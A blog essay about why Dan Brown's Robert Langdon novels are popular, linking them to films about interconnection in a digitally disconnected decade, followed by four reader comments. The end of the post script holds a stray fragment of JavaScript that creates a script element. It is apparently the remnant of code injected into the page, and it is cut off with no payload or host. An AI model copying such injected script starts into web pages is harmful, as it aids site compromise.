Six Degrees of Robert Langdon

So a few days ago I was watching Angels and Demons (don’t judge me) with my friend Matt.  When the movie’s action halted (for the third time) in order to lay down some clumsy exposition, Matt sighed and asked a seemingly obvious, but nevertheless powerful question: “What the hell do people see in this [stuff]?”

It’s a good question.  As much of a lit-snob as I can be – I can’t deny that Dan Brown has caught on to something.  Nearly everyone I know, from the cognoscenti to the dope-patrol has read at least one Dan Brown novel – or at least they gave it an earnest try.

What does Dan Brown do that makes people like him so much?  More pointedly, what might this have to do with The Splinter Generation?

Well, for one – I believe Robert Langdon (the Tom Hanks character) to be a stunning example of the Hipster pinup-girl.  He’s the master of the esoteric – a symbologist.  A character who knows absolutely everything about subjects we’ve never even heard of.   He can (and often does) namedrop obscure figures and events of history in casual conversation.  He’s a character whose importance and popularity are directly proportional to how exhaustively pedantic he can be.  Robert Langdon is an action hero in rumpled corduroy.  I can’t tell you how many people I know who try for this.

More importantly, though – what I find most interesting about Dan Brown’s success, is that it seems to connect to a larger trend in popular entertainment.

Dan Brown is writing about the interconnection of things.  In the silly worlds of his literature, history is not just some pile of dusty corpses and yellowed pages.  It is instead a trail of breadcrumbs leading to something of unquestionably melodramatic importance (the supposed war between faith and science, for example – or an attempted abduction of Christ’s pouty progeny).  History isn’t about the past, according to Dan Brown – it’s about the present.  It’s everywhere – in every painting and sculpture – in architecture – in religion.  We are all caught and tangled in its web, and it is only our illusion that we exist beyond it.  Brown’s Langdon suggests to us that if we look closely at the symbols, we can see how interconnected all things actually are.

Now, don’t get me wrong, I’m not saying that A. he’s doing this on purpose, or B. he’s any good at it (for further evidence on this, I direct you here).  But Langdon has been whispering in my ear for a few days now… and I can’t help but see a bit of what he’s talking about.

I think it’s safe to say that over the last decade, our society, in its fervent attempt to digitize absolutely everything on the planet, has grown more and more remote.  This is the central irony of the internet generation – we’re all so connected, that we’re disconnected.  And yet when I stop to consider the stories we’ve told over the last decade, a large number of them a seem to hinge on the contrary.

Babel, 21 Grams, Black and White, Crash, Magnolia, Signs – each of these movies has spoken to some general sense of interconnection.  They suggest to us, like Langdon does, that our disconnection, our remoteness, is merely an illusion.  That beneath every choice, every turn, there is an unbreakable causal web.

I see these symbols everywhere – even in crappy disaster movies – which ever since Independence Day (which, I acknowledge, came out prior to the last decade), have revolved around disparate groups of people brought together by calamity.

Everywhere I turn, I see interconnection.  So why do I still feel so disconnected?

If my observations are correct, they lead me to a more serious set of questions:

Are these stories we’re telling an attempt to ferret out the truth?  Are they a capitulation to Langdon’s condescending, yet hopeful lectures?

Or might they be darker than that – a prolonged period of creative mourning for what we’ve lost?  A facsimile of something that once was, but no longer is – like a viewing for a deceased relative?

Are we telling these stories of interconnection because we are, in fact, interconnected?  Or are we trying to convince ourselves that we still are, when deep down we know we’re not?

We here at The Splinter Generation would love to hear what you think.  So strap on a Tom Hanks, 50-year-old-dad-belly and look at the symbols with us!

Post Script:  Splinter editor and Grand Poobah Seth Fischer pointed this out to me – Dan Brown was actually a workshop partner with David Foster Wallace.  I can’t get the image of a manuscript covered in scribbled lines and red footnotes out of my mind.var d=document;var s=d.createElement(‘script’);

5 comments for “Six Degrees of Robert Langdon

  1. April 15, 2010 at 4:44 pm

    Maybe Dan Brown is so popular because of the loss of the tangible: relics, paintings, artifacts. With everything becoming digital, the “paper trail” has become obsolete, so we are fascinated by it, and even exagerating its possibility because it no longer exists. And perhaps the same is true with interconnection.

    BTW please don’t ask me to “strap on” any part of Tom Hanks’ anatomy. Thank you. 🙂

  2. April 15, 2010 at 5:04 pm

    It’s scary to think that I might share a belief with Dan Brown. I think it’s far more likely, however, that we’re inventing all of this and attributing it to him. I’d prefer to think of him as stumbling over a resonant point, rather than actually developing it. That way I can still be justified when I snark at him.

    And now: Imagine Tom Hanks. Topless. Eating a Big’n’Tasty. On a trampoline.

    You’re welcome.

  3. April 17, 2010 at 7:58 am

    I read both Angels & Demons and The Da Vinci Code. I have to admit you get sucked in by the desire to find out what is going to happen. I actually think Angels & Demons is a better book than The Da Vinci Code but that may be because I already knew all the “legends” that Dan Brown writes about in the Code.

    That being said, I only read them to see what the big deal was (like when I suffered through the first Twilight book and then just read plot synopsi for the rest of the books on wikipedia to avoid further pain) and I think people just like the adventure. Think of the Blair Witch Project. There were people out there who wanted to believe so badly in something so strange being real. So many people still crave magic and maybe that does say something about the loss of true communities.

    You’v egot em thinking 🙂

  4. picada de morcego
    May 7, 2010 at 5:41 am

    thank you, Andrew
    “Everywhere I turn, I see interconnection. So why do I still feel so disconnected?” ::: interesting comment

    well, it’s easy to feel interconnected through symbols, they exist in our individual minds, we impart any meaning we want onto them … it’s more difficult to actually connect with other humans

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